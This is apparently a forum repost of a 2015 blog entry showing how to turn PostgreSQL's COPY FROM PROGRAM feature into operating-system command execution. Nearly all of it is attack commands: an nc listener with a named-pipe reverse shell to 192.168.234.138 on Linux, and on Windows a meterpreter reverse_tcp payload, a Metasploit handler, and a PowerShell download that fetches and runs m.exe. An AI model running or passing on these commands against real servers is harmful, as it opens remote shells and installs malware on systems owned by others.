Nytro Posted April 3, 2015 Report Posted April 3, 2015 OS Command Execution in PostgreSQL >= 9.3LinuxOn attacker's machine:nc -lvp 55555On machine with PostgreSQL:postgres=# create table evil (a text);postgres=# copy evil from program 'mknod backpipe p; nc 192.168.234.138 55555 0<backpipe | /bin/bash 1>backpipe';Getting backconnect:WindowsOn attacker's machine:msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.234.138 LPORT=443 X > m.exemsfconsoleuse multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.234.138set LPORT 443exploitOn machine with PostgreSQL:postgres=# create table evil (a text);postgres=# copy evil from program 'powershell.exe -Command "& {(New-Object Net.WebClient).DownloadFile(\"http://192.168.234.138/m.exe\", \"C:\windows\temp\m.exe\")}"';postgres=# copy evil from program 'C:\windows\temp\m.exe';Getting backconnect:Posted by dsrbr at 10:08 AMSursa: http://dsrbr.blogspot.ru/ Quote